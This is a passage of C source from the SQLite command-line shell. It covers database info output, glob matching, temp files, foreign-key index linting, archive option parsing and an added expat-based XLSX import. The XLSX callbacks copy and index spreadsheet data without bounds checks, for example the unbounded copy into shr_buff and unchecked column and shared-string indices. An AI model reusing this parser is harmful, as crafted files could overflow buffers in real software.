for(i=0; i<ArraySize(aQuery); i++){
char *zSql = sqlite3_mprintf(aQuery[i].zSql, zSchemaTab);
int val = db_int(p, zSql);
sqlite3_free(zSql);
utf8_printf(p->out, "%-20s %d\n", aQuery[i].zName, val);
}
sqlite3_free(zSchemaTab);
sqlite3_file_control(p->db, zDb, SQLITE_FCNTL_DATA_VERSION, &iDataVersion);
utf8_printf(p->out, "%-20s %u\n", "data version", iDataVersion);
return 0;
}
/*
** Print the current sqlite3_errmsg() value to stderr and return 1.
*/
static int shellDatabaseError(sqlite3 *db){
const char *zErr = sqlite3_errmsg(db);
utf8_printf(stderr, "Error: %s\n", zErr);
return 1;
}
/*
** Compare the pattern in zGlob[] against the text in z[]. Return TRUE
** if they match and FALSE (0) if they do not match.
**
** Globbing rules:
**
** '*' Matches any sequence of zero or more characters.
**
** '?' Matches exactly one character.
**
** [...] Matches one character from the enclosed list of
** characters.
**
** [^...] Matches one character not in the enclosed list.
**
** '#' Matches any sequence of one or more digits with an
** optional + or - sign in front
**
** ' ' Any span of whitespace matches any other span of
** whitespace.
**
** Extra whitespace at the end of z[] is ignored.
*/
static int testcase_glob(const char *zGlob, const char *z){
int c, c2;
int invert;
int seen;
while( (c = (*(zGlob++)))!=0 ){
if( IsSpace(c) ){
if( !IsSpace(*z) ) return 0;
while( IsSpace(*zGlob) ) zGlob++;
while( IsSpace(*z) ) z++;
}else if( c=='*' ){
while( (c=(*(zGlob++))) == '*' || c=='?' ){
if( c=='?' && (*(z++))==0 ) return 0;
}
if( c==0 ){
return 1;
}else if( c=='[' ){
while( *z && testcase_glob(zGlob-1,z)==0 ){
z++;
}
return (*z)!=0;
}
while( (c2 = (*(z++)))!=0 ){
while( c2!=c ){
c2 = *(z++);
if( c2==0 ) return 0;
}
if( testcase_glob(zGlob,z) ) return 1;
}
return 0;
}else if( c=='?' ){
if( (*(z++))==0 ) return 0;
}else if( c=='[' ){
int prior_c = 0;
seen = 0;
invert = 0;
c = *(z++);
if( c==0 ) return 0;
c2 = *(zGlob++);
if( c2=='^' ){
invert = 1;
c2 = *(zGlob++);
}
if( c2==']' ){
if( c==']' ) seen = 1;
c2 = *(zGlob++);
}
while( c2 && c2!=']' ){
if( c2=='-' && zGlob[0]!=']' && zGlob[0]!=0 && prior_c>0 ){
c2 = *(zGlob++);
if( c>=prior_c && c<=c2 ) seen = 1;
prior_c = 0;
}else{
if( c==c2 ){
seen = 1;
}
prior_c = c2;
}
c2 = *(zGlob++);
}
if( c2==0 || (seen ^ invert)==0 ) return 0;
}else if( c=='#' ){
if( (z[0]=='-' || z[0]=='+') && IsDigit(z[1]) ) z++;
if( !IsDigit(z[0]) ) return 0;
z++;
while( IsDigit(z[0]) ){ z++; }
}else{
if( c!=(*(z++)) ) return 0;
}
}
while( IsSpace(*z) ){ z++; }
return *z==0;
}
/*
** Compare the string as a command-line option with either one or two
** initial "-" characters.
*/
static int optionMatch(const char *zStr, const char *zOpt){
if( zStr[0]!='-' ) return 0;
zStr++;
if( zStr[0]=='-' ) zStr++;
return strcmp(zStr, zOpt)==0;
}
/*
** Delete a file.
*/
int shellDeleteFile(const char *zFilename){
int rc;
#ifdef _WIN32
wchar_t *z = sqlite3_win32_utf8_to_unicode(zFilename);
rc = _wunlink(z);
sqlite3_free(z);
#else
rc = unlink(zFilename);
#endif
return rc;
}
/*
** Try to delete the temporary file (if there is one) and free the
** memory used to hold the name of the temp file.
*/
static void clearTempFile(ShellState *p){
if( p->zTempFile==0 ) return;
if( p->doXdgOpen ) return;
if( shellDeleteFile(p->zTempFile) ) return;
sqlite3_free(p->zTempFile);
p->zTempFile = 0;
}
/*
** Create a new temp file name with the given suffix.
*/
static void newTempFile(ShellState *p, const char *zSuffix){
clearTempFile(p);
sqlite3_free(p->zTempFile);
p->zTempFile = 0;
if( p->db ){
sqlite3_file_control(p->db, 0, SQLITE_FCNTL_TEMPFILENAME, &p->zTempFile);
}
if( p->zTempFile==0 ){
/* If p->db is an in-memory database then the TEMPFILENAME file-control
** will not work and we will need to fallback to guessing */
char *zTemp;
sqlite3_uint64 r;
sqlite3_randomness(sizeof(r), &r);
zTemp = getenv("TEMP");
if( zTemp==0 ) zTemp = getenv("TMP");
if( zTemp==0 ){
#ifdef _WIN32
zTemp = "\\tmp";
#else
zTemp = "/tmp";
#endif
}
p->zTempFile = sqlite3_mprintf("%s/temp%llx.%s", zTemp, r, zSuffix);
}else{
p->zTempFile = sqlite3_mprintf("%z.%s", p->zTempFile, zSuffix);
}
if( p->zTempFile==0 ){
raw_printf(stderr, "out of memory\n");
exit(1);
}
}
static inline void excelcolrow(char *string, int *outcol, int *outrow)
{
int i, col, base;
col = 0;
base = 1;
for (i = 0; i < strlen(string); i++) {
if (isalpha(string[i])) {
col = col * 26 + ((toupper(string[i])) - 'A' + 1);
}
else
break;
}
*outcol = col;
*outrow = atoi(string + i);
return;
}
static inline void rangecolrow(char *string, int *outcol, int *outrow)
{
int col, row;
char *coloninstr;
coloninstr = strchr(string, ':');
if (coloninstr) {
string = coloninstr + 1;
//fprintf(stderr, "rangecolrow: %s \n", string);
}
excelcolrow(string, &col, &row);
*outcol = col;
*outrow = row;
}
static void XMLCALL StartSharedStrings(void *data, const char *el, const char **attr)
{
int i;
ImportXLSXCtx *ctx = data;
if ((ctx->xml_depth == 0) && (!strcmp(el, "sst"))) {
for (i = 0; attr[i]; i += 2) {
if (!strcmp(attr[i], "uniqueCount")) {
//fprintf(stderr, " %s='%s'\n", attr[i], attr[i + 1]);
ctx->shr_str_cnt = atoi(attr[i + 1]);
ctx->shr_str = malloc(sizeof(char *) * ctx->shr_str_cnt);
ctx->shr_str_sz = malloc(sizeof(int) * ctx->shr_str_cnt);
}
}
}
if ((ctx->xml_depth == 2) && (!strcmp(el, "t"))) {
ctx->shr_tv = 1;
ctx->shr_tv_val = ctx->shr_buff;
*(ctx->shr_tv_val) = 0;
}
ctx->xml_depth++;
}
static void XMLCALL EndSharedStrings(void *data, const char *el)
{
ImportXLSXCtx *ctx = data;
ctx->xml_depth--;
if ((ctx->xml_depth == 2) && (!strcmp(el, "t"))) {
ctx->shr_tv = 0;
ctx->shr_str[ctx->shr_str_num] = strdup(ctx->shr_buff);
ctx->shr_str_sz[ctx->shr_str_num] = ctx->shr_tv_val - ctx->shr_buff;
//fprintf(stderr, "%s len:%d delta:%d\n", ctx->shr_buff, strlen(ctx->shr_buff), ctx->shr_tv_val - ctx->shr_buff);
ctx->shr_str_num++;
}
}
static void XMLCALL ChrHndlr(void *data, const char *s, int len)
{
char *src;
ImportXLSXCtx *ctx = data;
if (ctx->shr_tv) {
src = (char *) s;
while (len) {
*(ctx->shr_tv_val)++ = *src++;
len--;
}
*(ctx->shr_tv_val) = 0;
}
}
static void XMLCALL StartSheet(void *data, const char *el, const char **attr)
{
int i, j;
ImportXLSXCtx *ctx = data;
if ((ctx->xml_depth == 1) && (!strcmp(el, "dimension"))) {
for (i = 0; attr[i]; i += 2) {
if (!strcmp(attr[i], "ref")) {
//fprintf(stderr, "dimension %s='%s'\n", attr[i], attr[i + 1]);
rangecolrow((char *) attr[i + 1], &(ctx->sheet_num_cols), &(ctx->sheet_num_rows));
if (ctx->sheet_num_cols > sqlite3_limit(ctx->db, SQLITE_LIMIT_VARIABLE_NUMBER, -1)) {
fprintf(stderr, "Only %d out of %d columns will be imported\n",
sqlite3_limit(ctx->db, SQLITE_LIMIT_VARIABLE_NUMBER, -1), ctx->sheet_num_cols);
ctx->sheet_num_cols = sqlite3_limit(ctx->db, SQLITE_LIMIT_VARIABLE_NUMBER, -1);
}
ctx->row_str = malloc(sizeof(char *) * ctx->sheet_num_cols);
ctx->row_str_sz = malloc(sizeof(int) * ctx->sheet_num_cols);
//fprintf(stderr, "cols: %d rows: %d\n", ctx->sheet_num_cols, ctx->sheet_num_rows);
}
}
}
if ((ctx->xml_depth == 2) && (!strcmp(el, "row"))) {
for (i = 0; attr[i]; i += 2) {
if (!strcmp(attr[i], "r")) {
//fprintf(stderr, "row %s='%s'\n", attr[i], attr[i + 1]);
ctx->expected_col = 1;
}
}
}
if ((ctx->xml_depth == 3) && (!strcmp(el, "c"))) {
ctx->lookup_v = 0;
for (i = 0; attr[i]; i += 2) {
if (!strcmp(attr[i], "r")) {
//fprintf(stderr, "c %s='%s'\n", attr[i], attr[i + 1]);
excelcolrow((char *) attr[i + 1], &(ctx->current_col), &(ctx->current_row));
for (j = ctx->expected_col; (j<ctx->current_col)&&(j<ctx->sheet_num_cols); j++)
ctx->row_str[j-1] = NULL; // put_nullfield(ctx);
ctx->expected_col = ctx->current_col+1;
}
else if (!strcmp(attr[i], "t")) {
//fprintf(stderr, "c %s='%s'\n", attr[i], attr[i + 1]);
if (*attr[i + 1] == 's') {
ctx->lookup_v = -1;
}
//fprintf(stderr, "cols: %d rows: %d\n", ctx->num_col, ctx->num_row);
}
}
}
if ((ctx->xml_depth == 4) && (!strcmp(el, "v"))) {
ctx->shr_tv = 1;
ctx->shr_tv_val = ctx->shr_buff;
*(ctx->shr_tv_val) = 0;
}
ctx->xml_depth++;
}
static void XMLCALL EndSheet(void *data, const char *el)
{
ImportXLSXCtx *ctx = data;
ctx->xml_depth--;
//fprintf(stderr, "EndSheet depth:%d elem:%s\n", ctx->xml_depth, el);
if ((ctx->xml_depth == 4) && (!strcmp(el, "v"))) {
ctx->shr_tv = 0;
if (ctx->lookup_v) {
//fprintf(stderr, "v %s\n", ctx->shr_str[atoi(ctx->shr_buff)]);
//put_field(ctx, ctx->shr_str[atoi(ctx->shr_buff)], (ctx->current_col < ctx->sheet_num_cols));
ctx->row_str[ctx->current_col -1] = ctx->shr_str[atoi(ctx->shr_buff)];
ctx->row_str_sz[ctx->current_col -1] = ctx->shr_str_sz[atoi(ctx->shr_buff)];
}
else {
//fprintf(stderr, "v %s\n", ctx->shr_buff);
//put_field(ctx, ctx->shr_buff, (ctx->current_col < ctx->sheet_num_cols));
ctx->row_str[ctx->current_col -1] = strdup(ctx->shr_buff);
ctx->row_str_sz[ctx->current_col -1] = ctx->shr_tv_val - ctx->shr_buff;
}
}
if ((ctx->xml_depth == 2) && (!strcmp(el, "row"))) {
int i,j;
int do_insert = 1;
//fprintf(stderr, "EndSheet row:%d expected_col:%d sheet_num_cols:%d\n", ctx->current_row, ctx->expected_col, ctx->sheet_num_cols);
for (j = ctx->expected_col; j<=ctx->sheet_num_cols; j++)
ctx->row_str[j-1] = NULL; // put_nullfield(ctx);
// In first line, construct create table SQL(if new table), construct insert SQL
if (ctx->current_row==1) {
char *zSelectSql, *zInsertSql;
char *zErrMsg;
int rc;
int sql_len;
// Check if there is already a table with same name
zSelectSql = sqlite3_mprintf("SELECT * FROM \"%w\"", ctx->zTable);
if( zSelectSql==0 ){
fprintf(stderr, "Error: out of memory\n");
free(ctx);
exit(1);
}
rc = sqlite3_exec(ctx->db, zSelectSql, NULL, 0, &zErrMsg);
sqlite3_free(zSelectSql);
// No table with same name, so we create it
if( rc && sqlite3_strglob("no such table: *", zErrMsg)==0 ){
char *zCreateSql = sqlite3_mprintf("CREATE TABLE \"%w\"", ctx->zTable);
char cSep = '(';
do_insert = 0;
// The fields read become the table column names
for (i=0; i < ctx->sheet_num_cols; i++ ){
zCreateSql = sqlite3_mprintf("%z%c\n \"%w\" TEXT", zCreateSql, cSep, ctx->row_str[i]);
cSep = ',';
}
if( cSep=='(' ){
sqlite3_free(zCreateSql);
fprintf(stderr,"%s: empty file\n", ctx->zFile);
free(ctx);
exit(1);
}
zCreateSql = sqlite3_mprintf("%z\n)", zCreateSql);
rc = sqlite3_exec(ctx->db, zCreateSql, 0, 0, 0);
sqlite3_free(zCreateSql);
if( rc ){
fprintf(stderr, "CREATE TABLE %s(...) failed: %s\n", ctx->zTable, sqlite3_errmsg(ctx->db));
free(ctx);
exit(1);
}
}
// Construct insert SQL for every row
sql_len = strlen30(ctx->zTable) + 25 + ctx->sheet_num_cols*2;
zInsertSql = sqlite3_malloc64( sql_len );
if( zInsertSql==0 ){
fprintf(stderr, "Error: out of memory\n");
free(ctx);
exit(1);
}
sqlite3_snprintf(sql_len, zInsertSql, "INSERT INTO \"%w\" VALUES(?", ctx->zTable);
j = strlen30(zInsertSql);
for(i=1; i<ctx->sheet_num_cols; i++){
zInsertSql[j++] = ',';
zInsertSql[j++] = '?';
}
zInsertSql[j++] = ')';
zInsertSql[j] = 0;
rc = sqlite3_prepare_v2(ctx->db, zInsertSql, -1, &(ctx->pInsertStmt), 0);
sqlite3_free(zInsertSql);
if( rc ){
fprintf(stderr, "Error: %s\n", sqlite3_errmsg(ctx->db));
if (ctx->pInsertStmt) sqlite3_finalize(ctx->pInsertStmt);
free(ctx);
exit(1);
}
}
//fprintf(stderr, "row:%d %p\n", ctx->current_row, ctx->pInsertStmt);
if (do_insert) {
int needCommit, rc;
//fprintf(stderr, "insert row:%d\n", ctx->current_row);
needCommit = sqlite3_get_autocommit(ctx->db);
if( needCommit )
sqlite3_exec(ctx->db, "BEGIN", 0, 0, 0);
for(i=0; i < ctx->sheet_num_cols; i++){
//fprintf(stderr, "insert row col:%d val:%s\n", i, ctx->row_str[i]);
sqlite3_bind_text(ctx->pInsertStmt, i+1, ctx->row_str[i], -1, SQLITE_STATIC);
// TODO: Store the field length while parsing XML, and use it here instead of -1
}
sqlite3_step(ctx->pInsertStmt);
rc = sqlite3_reset(ctx->pInsertStmt);
if( rc!=SQLITE_OK )
fprintf(stderr, "%s:%d: INSERT failed: %s\n", ctx->zFile, ctx->current_row,
sqlite3_errmsg(ctx->db));
if( needCommit )
sqlite3_exec(ctx->db, "COMMIT", 0, 0, 0);
}
}
}
/*
** The implementation of SQL scalar function fkey_collate_clause(), used
** by the ".lint fkey-indexes" command. This scalar function is always
** called with four arguments - the parent table name, the parent column name,
** the child table name and the child column name.
**
** fkey_collate_clause('parent-tab', 'parent-col', 'child-tab', 'child-col')
**
** If either of the named tables or columns do not exist, this function
** returns an empty string. An empty string is also returned if both tables
** and columns exist but have the same default collation sequence. Or,
** if both exist but the default collation sequences are different, this
** function returns the string " COLLATE <parent-collation>", where
** <parent-collation> is the default collation sequence of the parent column.
*/
static void shellFkeyCollateClause(
sqlite3_context *pCtx,
int nVal,
sqlite3_value **apVal
){
sqlite3 *db = sqlite3_context_db_handle(pCtx);
const char *zParent;
const char *zParentCol;
const char *zParentSeq;
const char *zChild;
const char *zChildCol;
const char *zChildSeq = 0; /* Initialize to avoid false-positive warning */
int rc;
assert( nVal==4 );
zParent = (const char*)sqlite3_value_text(apVal[0]);
zParentCol = (const char*)sqlite3_value_text(apVal[1]);
zChild = (const char*)sqlite3_value_text(apVal[2]);
zChildCol = (const char*)sqlite3_value_text(apVal[3]);
sqlite3_result_text(pCtx, "", -1, SQLITE_STATIC);
rc = sqlite3_table_column_metadata(
db, "main", zParent, zParentCol, 0, &zParentSeq, 0, 0, 0
);
if( rc==SQLITE_OK ){
rc = sqlite3_table_column_metadata(
db, "main", zChild, zChildCol, 0, &zChildSeq, 0, 0, 0
);
}
if( rc==SQLITE_OK && sqlite3_stricmp(zParentSeq, zChildSeq) ){
char *z = sqlite3_mprintf(" COLLATE %s", zParentSeq);
sqlite3_result_text(pCtx, z, -1, SQLITE_TRANSIENT);
sqlite3_free(z);
}
}
/*
** The implementation of dot-command ".lint fkey-indexes".
*/
static int lintFkeyIndexes(
ShellState *pState, /* Current shell tool state */
char **azArg, /* Array of arguments passed to dot command */
int nArg /* Number of entries in azArg[] */
){
sqlite3 *db = pState->db; /* Database handle to query "main" db of */
FILE *out = pState->out; /* Stream to write non-error output to */
int bVerbose = 0; /* If -verbose is present */
int bGroupByParent = 0; /* If -groupbyparent is present */
int i; /* To iterate through azArg[] */
const char *zIndent = ""; /* How much to indent CREATE INDEX by */
int rc; /* Return code */
sqlite3_stmt *pSql = 0; /* Compiled version of SQL statement below */
/*
** This SELECT statement returns one row for each foreign key constraint
** in the schema of the main database. The column values are:
**
** 0. The text of an SQL statement similar to:
**
** "EXPLAIN QUERY PLAN SELECT 1 FROM child_table WHERE child_key=?"
**
** This SELECT is similar to the one that the foreign keys implementation
** needs to run internally on child tables. If there is an index that can
** be used to optimize this query, then it can also be used by the FK
** implementation to optimize DELETE or UPDATE statements on the parent
** table.
**
** 1. A GLOB pattern suitable for sqlite3_strglob(). If the plan output by
** the EXPLAIN QUERY PLAN command matches this pattern, then the schema
** contains an index that can be used to optimize the query.
**
** 2. Human readable text that describes the child table and columns. e.g.
**
** "child_table(child_key1, child_key2)"
**
** 3. Human readable text that describes the parent table and columns. e.g.
**
** "parent_table(parent_key1, parent_key2)"
**
** 4. A full CREATE INDEX statement for an index that could be used to
** optimize DELETE or UPDATE statements on the parent table. e.g.
**
** "CREATE INDEX child_table_child_key ON child_table(child_key)"
**
** 5. The name of the parent table.
**
** These six values are used by the C logic below to generate the report.
*/
const char *zSql =
"SELECT "
" 'EXPLAIN QUERY PLAN SELECT 1 FROM ' || quote(s.name) || ' WHERE '"
" || group_concat(quote(s.name) || '.' || quote(f.[from]) || '=?' "
" || fkey_collate_clause("
" f.[table], COALESCE(f.[to], p.[name]), s.name, f.[from]),' AND ')"
", "
" 'SEARCH ' || s.name || ' USING COVERING INDEX*('"
" || group_concat('*=?', ' AND ') || ')'"
", "
" s.name || '(' || group_concat(f.[from], ', ') || ')'"
", "
" f.[table] || '(' || group_concat(COALESCE(f.[to], p.[name])) || ')'"
", "
" 'CREATE INDEX ' || quote(s.name ||'_'|| group_concat(f.[from], '_'))"
" || ' ON ' || quote(s.name) || '('"
" || group_concat(quote(f.[from]) ||"
" fkey_collate_clause("
" f.[table], COALESCE(f.[to], p.[name]), s.name, f.[from]), ', ')"
" || ');'"
", "
" f.[table] "
"FROM sqlite_schema AS s, pragma_foreign_key_list(s.name) AS f "
"LEFT JOIN pragma_table_info AS p ON (pk-1=seq AND p.arg=f.[table]) "
"GROUP BY s.name, f.id "
"ORDER BY (CASE WHEN ? THEN f.[table] ELSE s.name END)"
;
const char *zGlobIPK = "SEARCH * USING INTEGER PRIMARY KEY (rowid=?)";
for(i=2; i<nArg; i++){
int n = strlen30(azArg[i]);
if( n>1 && sqlite3_strnicmp("-verbose", azArg[i], n)==0 ){
bVerbose = 1;
}
else if( n>1 && sqlite3_strnicmp("-groupbyparent", azArg[i], n)==0 ){
bGroupByParent = 1;
zIndent = " ";
}
else{
raw_printf(stderr, "Usage: %s %s ?-verbose? ?-groupbyparent?\n",
azArg[0], azArg[1]
);
return SQLITE_ERROR;
}
}
/* Register the fkey_collate_clause() SQL function */
rc = sqlite3_create_function(db, "fkey_collate_clause", 4, SQLITE_UTF8,
0, shellFkeyCollateClause, 0, 0
);
if( rc==SQLITE_OK ){
rc = sqlite3_prepare_v2(db, zSql, -1, &pSql, 0);
}
if( rc==SQLITE_OK ){
sqlite3_bind_int(pSql, 1, bGroupByParent);
}
if( rc==SQLITE_OK ){
int rc2;
char *zPrev = 0;
while( SQLITE_ROW==sqlite3_step(pSql) ){
int res = -1;
sqlite3_stmt *pExplain = 0;
const char *zEQP = (const char*)sqlite3_column_text(pSql, 0);
const char *zGlob = (const char*)sqlite3_column_text(pSql, 1);
const char *zFrom = (const char*)sqlite3_column_text(pSql, 2);
const char *zTarget = (const char*)sqlite3_column_text(pSql, 3);
const char *zCI = (const char*)sqlite3_column_text(pSql, 4);
const char *zParent = (const char*)sqlite3_column_text(pSql, 5);
rc = sqlite3_prepare_v2(db, zEQP, -1, &pExplain, 0);
if( rc!=SQLITE_OK ) break;
if( SQLITE_ROW==sqlite3_step(pExplain) ){
const char *zPlan = (const char*)sqlite3_column_text(pExplain, 3);
res = (
0==sqlite3_strglob(zGlob, zPlan)
|| 0==sqlite3_strglob(zGlobIPK, zPlan)
);
}
rc = sqlite3_finalize(pExplain);
if( rc!=SQLITE_OK ) break;
if( res<0 ){
raw_printf(stderr, "Error: internal error");
break;
}else{
if( bGroupByParent
&& (bVerbose || res==0)
&& (zPrev==0 || sqlite3_stricmp(zParent, zPrev))
){
raw_printf(out, "-- Parent table %s\n", zParent);
sqlite3_free(zPrev);
zPrev = sqlite3_mprintf("%s", zParent);
}
if( res==0 ){
raw_printf(out, "%s%s --> %s\n", zIndent, zCI, zTarget);
}else if( bVerbose ){
raw_printf(out, "%s/* no extra indexes required for %s -> %s */\n",
zIndent, zFrom, zTarget
);
}
}
}
sqlite3_free(zPrev);
if( rc!=SQLITE_OK ){
raw_printf(stderr, "%s\n", sqlite3_errmsg(db));
}
rc2 = sqlite3_finalize(pSql);
if( rc==SQLITE_OK && rc2!=SQLITE_OK ){
rc = rc2;
raw_printf(stderr, "%s\n", sqlite3_errmsg(db));
}
}else{
raw_printf(stderr, "%s\n", sqlite3_errmsg(db));
}
return rc;
}
/*
** Implementation of ".lint" dot command.
*/
static int lintDotCommand(
ShellState *pState, /* Current shell tool state */
char **azArg, /* Array of arguments passed to dot command */
int nArg /* Number of entries in azArg[] */
){
int n;
n = (nArg>=2 ? strlen30(azArg[1]) : 0);
if( n<1 || sqlite3_strnicmp(azArg[1], "fkey-indexes", n) ) goto usage;
return lintFkeyIndexes(pState, azArg, nArg);
usage:
raw_printf(stderr, "Usage %s sub-command ?switches...?\n", azArg[0]);
raw_printf(stderr, "Where sub-commands are:\n");
raw_printf(stderr, " fkey-indexes\n");
return SQLITE_ERROR;
}
#if !defined SQLITE_OMIT_VIRTUALTABLE
static void shellPrepare(
sqlite3 *db,
int *pRc,
const char *zSql,
sqlite3_stmt **ppStmt
){
*ppStmt = 0;
if( *pRc==SQLITE_OK ){
int rc = sqlite3_prepare_v2(db, zSql, -1, ppStmt, 0);
if( rc!=SQLITE_OK ){
raw_printf(stderr, "sql error: %s (%d)\n",
sqlite3_errmsg(db), sqlite3_errcode(db)
);
*pRc = rc;
}
}
}
/*
** Create a prepared statement using printf-style arguments for the SQL.
**
** This routine is could be marked "static". But it is not always used,
** depending on compile-time options. By omitting the "static", we avoid
** nuisance compiler warnings about "defined but not used".
*/
void shellPreparePrintf(
sqlite3 *db,
int *pRc,
sqlite3_stmt **ppStmt,
const char *zFmt,
...
){
*ppStmt = 0;
if( *pRc==SQLITE_OK ){
va_list ap;
char *z;
va_start(ap, zFmt);
z = sqlite3_vmprintf(zFmt, ap);
va_end(ap);
if( z==0 ){
*pRc = SQLITE_NOMEM;
}else{
shellPrepare(db, pRc, z, ppStmt);
sqlite3_free(z);
}
}
}
/* Finalize the prepared statement created using shellPreparePrintf().
**
** This routine is could be marked "static". But it is not always used,
** depending on compile-time options. By omitting the "static", we avoid
** nuisance compiler warnings about "defined but not used".
*/
void shellFinalize(
int *pRc,
sqlite3_stmt *pStmt
){
if( pStmt ){
sqlite3 *db = sqlite3_db_handle(pStmt);
int rc = sqlite3_finalize(pStmt);
if( *pRc==SQLITE_OK ){
if( rc!=SQLITE_OK ){
raw_printf(stderr, "SQL error: %s\n", sqlite3_errmsg(db));
}
*pRc = rc;
}
}
}
/* Reset the prepared statement created using shellPreparePrintf().
**
** This routine is could be marked "static". But it is not always used,
** depending on compile-time options. By omitting the "static", we avoid
** nuisance compiler warnings about "defined but not used".
*/
void shellReset(
int *pRc,
sqlite3_stmt *pStmt
){
int rc = sqlite3_reset(pStmt);
if( *pRc==SQLITE_OK ){
if( rc!=SQLITE_OK ){
sqlite3 *db = sqlite3_db_handle(pStmt);
raw_printf(stderr, "SQL error: %s\n", sqlite3_errmsg(db));
}
*pRc = rc;
}
}
#endif /* !defined SQLITE_OMIT_VIRTUALTABLE */
#if !defined(SQLITE_OMIT_VIRTUALTABLE) && defined(SQLITE_HAVE_ZLIB)
/******************************************************************************
** The ".archive" or ".ar" command.
*/
/*
** Structure representing a single ".ar" command.
*/
typedef struct ArCommand ArCommand;
struct ArCommand {
u8 eCmd; /* An AR_CMD_* value */
u8 bVerbose; /* True if --verbose */
u8 bZip; /* True if the archive is a ZIP */
u8 bDryRun; /* True if --dry-run */
u8 bAppend; /* True if --append */
u8 fromCmdLine; /* Run from -A instead of .archive */
int nArg; /* Number of command arguments */
char *zSrcTable; /* "sqlar", "zipfile($file)" or "zip" */
const char *zFile; /* --file argument, or NULL */
const char *zDir; /* --directory argument, or NULL */
char **azArg; /* Array of command arguments */
ShellState *p; /* Shell state */
sqlite3 *db; /* Database containing the archive */
};
/*
** Print a usage message for the .ar command to stderr and return SQLITE_ERROR.
*/
static int arUsage(FILE *f){
showHelp(f,"archive");
return SQLITE_ERROR;
}
/*
** Print an error message for the .ar command to stderr and return
** SQLITE_ERROR.
*/
static int arErrorMsg(ArCommand *pAr, const char *zFmt, ...){
va_list ap;
char *z;
va_start(ap, zFmt);
z = sqlite3_vmprintf(zFmt, ap);
va_end(ap);
utf8_printf(stderr, "Error: %s\n", z);
if( pAr->fromCmdLine ){
utf8_printf(stderr, "Use \"-A\" for more help\n");
}else{
utf8_printf(stderr, "Use \".archive --help\" for more help\n");
}
sqlite3_free(z);
return SQLITE_ERROR;
}
/*
** Values for ArCommand.eCmd.
*/
#define AR_CMD_CREATE 1
#define AR_CMD_UPDATE 2
#define AR_CMD_INSERT 3
#define AR_CMD_EXTRACT 4
#define AR_CMD_LIST 5
#define AR_CMD_HELP 6
/*
** Other (non-command) switches.
*/
#define AR_SWITCH_VERBOSE 7
#define AR_SWITCH_FILE 8
#define AR_SWITCH_DIRECTORY 9
#define AR_SWITCH_APPEND 10
#define AR_SWITCH_DRYRUN 11
static int arProcessSwitch(ArCommand *pAr, int eSwitch, const char *zArg){
switch( eSwitch ){
case AR_CMD_CREATE:
case AR_CMD_EXTRACT:
case AR_CMD_LIST:
case AR_CMD_UPDATE:
case AR_CMD_INSERT:
case AR_CMD_HELP:
if( pAr->eCmd ){
return arErrorMsg(pAr, "multiple command options");
}
pAr->eCmd = eSwitch;
break;
case AR_SWITCH_DRYRUN:
pAr->bDryRun = 1;
break;
case AR_SWITCH_VERBOSE:
pAr->bVerbose = 1;
break;
case AR_SWITCH_APPEND:
pAr->bAppend = 1;
/* Fall thru into --file */
case AR_SWITCH_FILE:
pAr->zFile = zArg;
break;
case AR_SWITCH_DIRECTORY:
pAr->zDir = zArg;
break;
}
return SQLITE_OK;
}
/*
** Parse the command line for an ".ar" command. The results are written into
** structure (*pAr). SQLITE_OK is returned if the command line is parsed
** successfully, otherwise an error message is written to stderr and
** SQLITE_ERROR returned.
*/
static int arParseCommand(
char **azArg, /* Array of arguments passed to dot command */
int nArg, /* Number of entries in azArg[] */
ArCommand *pAr /* Populate this object */
){
struct ArSwitch {
const char *zLong;
char cShort;
u8 eSwitch;
u8 bArg;
} aSwitch[] = {
{ "create", 'c', AR_CMD_CREATE, 0 },
{ "extract", 'x', AR_CMD_EXTRACT, 0 },
{ "insert", 'i', AR_CMD_INSERT, 0 },
{ "list", 't', AR_CMD_LIST, 0 },
{ "update", 'u', AR_CMD_UPDATE, 0 },
{ "help", 'h', AR_CMD_HELP, 0 },
{ "verbose", 'v', AR_SWITCH_VERBOSE, 0 },
{ "file", 'f', AR_SWITCH_FILE, 1 },
{ "append", 'a', AR_SWITCH_APPEND, 1 },
{ "directory", 'C', AR_SWITCH_DIRECTORY, 1 },
{ "dryrun", 'n', AR_SWITCH_DRYRUN, 0 },
};
int nSwitch = sizeof(aSwitch) / sizeof(struct ArSwitch);
struct ArSwitch *pEnd = &aSwitch[nSwitch];
if( nArg<=1 ){
utf8_printf(stderr, "Wrong number of arguments. Usage:\n");
return arUsage(stderr);
}else{
char *z = azArg[1];
if( z[0]!='-' ){
/* Traditional style [tar] invocation */
int i;
int iArg = 2;
for(i=0; z[i]; i++){
const char *zArg = 0;
struct ArSwitch *pOpt;
for(pOpt=&aSwitch[0]; pOpt<pEnd; pOpt++){
if( z[i]==pOpt->cShort ) break;
}
if( pOpt==pEnd ){
return arErrorMsg(pAr, "unrecognized option: %c", z[i]);
}
if( pOpt->bArg ){
if( iArg>=nArg ){
return arErrorMsg(pAr, "option requires an argument: %c",z[i]);
}
zArg = azArg[iArg++];
}
if( arProcessSwitch(pAr, pOpt->eSwitch, zArg) ) return SQLITE_ERROR;
}
pAr->nArg = nArg-iArg;
if( pAr->nArg>0 ){
pAr->azArg = &azArg[iArg];
}
}else{
/* Non-traditional invocation */
int iArg;
for(iArg=1; iArg<nArg; iArg++){
int n;
z = azArg[iArg];
if( z[0]!='-' ){
/* All remaining command line words are command arguments. */
pAr->azArg = &azArg[iArg];
pAr->nArg = nArg-iArg;
break;
}
n = strlen30(z);
if( z[1]!='-' ){
int i;
/* One or more short options */
for(i=1; i<n; i++){
const char *zArg = 0;
struct ArSwitch *pOpt;
for(pOpt=&aSwitch[0]; pOpt<pEnd; pOpt++){
if( z[i]==pOpt->cShort ) break;
}
if( pOpt==pEnd ){
return arErrorMsg(pAr, "unrecognized option: %c", z[i]);
}
if( pOpt->bArg ){
if( i<(n-1) ){
zArg = &z[i+1];
i = n;
}else{
if( iArg>=(nArg-1) ){
return arErrorMsg(pAr, "option requires an argument: %c",
z[i]);
}
zArg = azArg[++iArg];
}
}
if( arProcessSwitch(pAr, pOpt->eSwitch, zArg) ) return SQLITE_ERROR;
}
}else if( z[2]=='\0' ){
/* A -- option, indicating that all remaining command line words
** are command arguments. */
pAr->azArg = &azArg[iArg+1];
pAr->nArg = nArg-iArg-1;
break;
}else{
/* A long option */
const char *zArg = 0; /* Argument for option, if any */
struct ArSwitch *pMatch = 0; /* Matching option */
struct ArSwitch *pOpt; /* Iterator */
for(pOpt=&aSwitch[0]; pOpt<pEnd; pOpt++){
const char *zLong = pOpt->zLong;
if( (n-2)<=strlen30(zLong) && 0==memcmp(&z[2], zLong, n-2) ){
if( pMatch ){
return arErrorMsg(pAr, "ambiguous option: %s",z);
}else{
pMatch = pOpt;
}
}
}
